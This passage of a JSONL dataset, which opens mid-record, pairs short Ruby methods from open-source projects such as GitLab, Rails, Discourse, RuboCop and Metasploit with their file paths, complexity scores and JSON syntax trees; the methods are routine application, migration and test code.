nd\",\"children\":[null,\"info\",{\"type\":\"str\",\"children\":[\"Upload link generated successfully.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"UploadLink\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destination\"]},{\"type\":\"lvar\",\"children\":[\"upload_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"put\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"match_alt\",\"children\":[{\"type\":\"int\",\"children\":[404]},{\"type\":\"int\",\"children\":[400]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"str\",\"children\":[\"The parent folder was not found.\"]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"str\",\"children\":[\"User authorization failed.\"]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[403]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"str\",\"children\":[\"User authorization failed.\"]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"str\",\"children\":[\"Unknown error happened.\"]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}]}","id":"757e0aee-e2ab-4f6e-a318-d9a00a0048c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/mock_ci.rb","start_line":58,"raw_source":"def commit_status(sha, _ref)\n          response = Clients::HTTP.get(commit_status_path(sha), verify: enable_ssl_verification)\n          read_commit_status(response)\n        rescue Errno::ECONNREFUSED\n          :error\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sha\"]},{\"type\":\"arg\",\"children\":[\"_ref\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Clients\"]},\"HTTP\"]},\"get\",{\"type\":\"send\",\"children\":[null,\"commit_status_path\",{\"type\":\"lvar\",\"children\":[\"sha\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify\"]},{\"type\":\"send\",\"children\":[null,\"enable_ssl_verification\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"read_commit_status\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNREFUSED\"]}]},null,{\"type\":\"sym\",\"children\":[\"error\"]}]},null]}]}","id":"704c6af9-f61f-4a97-a9b6-df8b32e086b9"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_app_status.rb","start_line":29,"raw_source":"def setup\n    @server = FakeServer.new\n    @app = Puma::App::Status.new(@server)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeServer\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"App\"]},\"Status\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@server\"]}]}]}]}]}","id":"049d6a0e-7ee3-41b2-b563-e42e000c51fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250228142821_add_incident_management_pending_issue_escalations_namespace_id_fk.rb","start_line":14,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :incident_management_pending_issue_escalations, column: :namespace_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"incident_management_pending_issue_escalations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}]}]}]}","id":"39d08f7d-9b49-4432-ac57-8a93e6d0c1ee"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/generators/build_command_generator.rb","start_line":26,"raw_source":"def project_path_array\n        proj = Gym.project.xcodebuild_parameters\n        return proj if proj.count > 0\n        UI.user_error!(\"No project/workspace found\")\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"project_path_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"proj\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"project\"]},\"xcodebuild_parameters\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proj\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"No project/workspace found\"]}]}]}]}","id":"385b2a6f-fc2c-4f00-9caa-45a11ca470f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/pagination_helper.rb","start_line":31,"raw_source":"def paginate_event_tracking_data_attributes(event_tracking: nil, event_label: nil)\n    return {} if event_tracking.nil?\n\n    {\n      event_tracking: event_tracking,\n      event_label: event_label\n    }\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"paginate_event_tracking_data_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"event_tracking\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"event_label\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_tracking\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_tracking\"]},{\"type\":\"lvar\",\"children\":[\"event_tracking\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_label\"]},{\"type\":\"lvar\",\"children\":[\"event_label\"]}]}]}]}]}","id":"cc6e79c2-12f3-40ad-acaa-705dd235fd26"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/project_pipelines_resolver.rb","start_line":14,"raw_source":"def resolve_with_lookahead(**args)\n        apply_lookahead(resolve_pipelines(project, args))\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_with_lookahead\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"apply_lookahead\",{\"type\":\"send\",\"children\":[null,\"resolve_pipelines\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"0d4a6590-03e0-499c-a410-6291fb50a8d2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/problem_check_tracker.rb","start_line":18,"raw_source":"def failing?\n    last_problem_at == last_run_at\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"failing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_problem_at\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"last_run_at\"]}]}]}","id":"ae0163ed-40aa-4391-a106-5aa0ce962e62"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/freedom_patches/ip_addr.rb","start_line":4,"raw_source":"def self.handle_wildcards(val)\n    return if val.blank?\n\n    num_wildcards = val.count(\"*\")\n\n    return val if num_wildcards == 0\n\n    # strip ranges like \"/16\" from the end if present\n    v = val.gsub(%r{/.*}, \"\")\n\n    return if v[v.index(\"*\")..-1] =~ /[^\\.\\*]/\n\n    parts = v.split(\".\")\n    (4 - parts.size).times { parts << \"*\" } # support strings like 192.*\n    v = parts.join(\".\")\n\n    \"#{v.tr(\"*\", \"0\")}/#{32 - (v.count(\"*\") * 8)}\"\n  end","complexity_score":26.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"handle_wildcards\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"num_wildcards\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"count\",{\"type\":\"str\",\"children\":[\"*\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_wildcards\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/.*\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"index\",{\"type\":\"str\",\"children\":[\"*\"]}]},{\"type\":\"int\",\"children\":[-1]}]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^\\\\.\\\\*]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"size\"]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"<<\",{\"type\":\"str\",\"children\":[\"*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"tr\",{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[32]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"count\",{\"type\":\"str\",\"children\":[\"*\"]}]},\"*\",{\"type\":\"int\",\"children\":[8]}]}]}]}]}]}]}]}","id":"a8fa30b8-11cf-4d5b-9a98-51c0d9227727"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/payload_cached_size.rb","start_line":95,"raw_source":"def self.update_module_cached_size(mod)\n    update_cached_size(mod, compute_cached_size(mod))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_module_cached_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[null,\"update_cached_size\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"send\",\"children\":[null,\"compute_cached_size\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]}]}","id":"c909a326-ce27-4098-a63f-10bc26833370"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/file_transfer.rb","start_line":9,"raw_source":"def config_for(portable)\n      case portable\n      when ::Project\n        ::BulkImports::FileTransfer::ProjectConfig.new(portable)\n      when ::Group\n        ::BulkImports::FileTransfer::GroupConfig.new(portable)\n      else\n        raise(UnsupportedObjectType, \"Unsupported object type: #{portable.class}\")\n      end\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"config_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"portable\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"portable\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"BulkImports\"]},\"FileTransfer\"]},\"ProjectConfig\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"portable\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"BulkImports\"]},\"FileTransfer\"]},\"GroupConfig\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"portable\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnsupportedObjectType\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported object type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"portable\"]},\"class\"]}]}]}]}]}]}","id":"66d3bb66-c8ca-4105-91a7-cc83dd13bcab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/alert_management_service.rb","start_line":14,"raw_source":"def create_new_alert(monitoring_tool)\n      body = \"logged an alert from **#{monitoring_tool}**\"\n\n      create_note(NoteSummary.new(noteable, project, Users::Internal.alert_bot, body, action: 'new_alert_added'))\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_new_alert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"monitoring_tool\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"logged an alert from **\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"monitoring_tool\"]}]},{\"type\":\"str\",\"children\":[\"**\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoteSummary\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Internal\"]},\"alert_bot\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"new_alert_added\"]}]}]}]}]}]}]}","id":"b2abf822-00e4-46f8-aca4-b99099fd180c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/integration/test_any_holidays_during_work_week.rb","start_line":28,"raw_source":"def test_returns_true_when_observed_flag_set_and_holiday_is_observed_during_week\n    assert subject.call(Date.new(2012,9,5), :us, :observed)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_true_when_observed_flag_set_and_holiday_is_observed_during_week\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2012]},{\"type\":\"int\",\"children\":[9]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"sym\",\"children\":[\"us\"]},{\"type\":\"sym\",\"children\":[\"observed\"]}]}]}]}","id":"79aa31e0-c1ea-410b-9b8f-435242de5c80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250829120000_track_merge_request_diff_deletions_v3.rb","start_line":17,"raw_source":"def down\n    with_lock_retries do\n      untrack_record_deletions(:merge_request_diffs)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"untrack_record_deletions\",{\"type\":\"sym\",\"children\":[\"merge_request_diffs\"]}]}]}]}","id":"60089ac6-0772-4a50-96a9-ea693074ae8d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_loader.rb","start_line":154,"raw_source":"def inject_defaults!(config_yml_path)\n        if Pathname(config_yml_path).directory?\n          # TODO: Since the warning noise is expected to be high until some time after the release,\n          # warnings will only be issued when `RUBYOPT=-w` is specified.\n          # To proceed step by step, the next step is to remove `$VERBOSE` and always issue warning.\n          # Eventually, `project_root` will no longer be accepted.\n          if $VERBOSE\n            warn Rainbow(<<~MESSAGE).yellow, uplevel: 1\n              Use config YAML file path instead of project root directory.\n              e.g., `path/to/config/default.yml`\n            MESSAGE\n          end\n          # NOTE: For compatibility.\n          project_root = config_yml_path\n          path = File.join(project_root, 'config', 'default.yml')\n          config = load_file(path)\n        else\n          hash = ConfigLoader.load_yaml_configuration(config_yml_path.to_s)\n          config = Config.new(hash, config_yml_path).tap(&:make_excludes_absolute)\n        end\n\n        @default_configuration = ConfigLoader.merge_with_default(config, path)\n      end","complexity_score":26.28,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_defaults!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_yml_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Pathname\",{\"type\":\"lvar\",\"children\":[\"config_yml_path\"]}]},\"directory?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$VERBOSE\"]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Use config YAML file path instead of project root directory.\\n\"]},{\"type\":\"str\",\"children\":[\"e.g., `path/to/config/default.yml`\\n\"]}]}]},\"yellow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uplevel\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"project_root\",{\"type\":\"lvar\",\"children\":[\"config_yml_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"project_root\"]},{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"default.yml\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[null,\"load_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigLoader\"]},\"load_yaml_configuration\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_yml_path\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"lvar\",\"children\":[\"config_yml_path\"]}]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"make_excludes_absolute\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_configuration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigLoader\"]},\"merge_with_default\",{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"bb3ce9bc-0767-429e-b793-cbe1792f4ac0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_scan/dispatcher.rb","start_line":3,"raw_source":"def initialize\n      @vm = nil\n      @all_busy_by_host_id_storage_id = {}\n      @active_vm_scans_by_zone = nil\n      @zone = nil\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@vm\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@all_busy_by_host_id_storage_id\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@active_vm_scans_by_zone\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@zone\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"026a8ba9-e0c2-4e26-a475-87c2e9ff42bc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_pool_test.rb","start_line":1246,"raw_source":"def test_bang_versions_of_disconnect_and_clear_reloadable_connections_if_unable_to_acquire_all_connections_proceed_anyway\n        @pool.checkout_timeout = 0.001 # no need to delay test suite by waiting the whole full default timeout\n\n        @pool.with_connection do |connection|\n          new_thread { @pool.disconnect! }.join\n          # assert connection has been forcefully taken away from us\n          assert_not_predicate @pool, :active_connection?\n\n          # make a new connection for with_connection to clean up\n          @pool.lease_connection\n        end\n        @pool.release_connection\n\n        @pool.with_connection do |connection|\n          new_thread { @pool.clear_reloadable_connections! }.join\n          # assert connection has been forcefully taken away from us\n          assert_not_predicate @pool, :active_connection?\n\n          # make a new connection for with_connection to clean up\n          @pool.lease_connection\n        end\n      end","complexity_score":22.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_bang_versions_of_disconnect_and_clear_reloadable_connections_if_unable_to_acquire_all_connections_proceed_anyway\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"checkout_timeout=\",{\"type\":\"float\",\"children\":[0.001]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_thread\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"disconnect!\"]}]},\"join\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"ivar\",\"children\":[\"@pool\"]},{\"type\":\"sym\",\"children\":[\"active_connection?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"lease_connection\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"release_connection\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_thread\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"clear_reloadable_connections!\"]}]},\"join\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"ivar\",\"children\":[\"@pool\"]},{\"type\":\"sym\",\"children\":[\"active_connection?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"lease_connection\"]}]}]}]}]}","id":"a8d98107-1ded-4598-87ba-aeb00aa411eb"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/configurable_enforced_style.rb","start_line":7,"raw_source":"def opposite_style_detected\n        style_detected(alternative_style)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"opposite_style_detected\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"style_detected\",{\"type\":\"send\",\"children\":[null,\"alternative_style\"]}]}]}","id":"a8b2bec8-ba69-42a6-9781-bdb53f526844"}
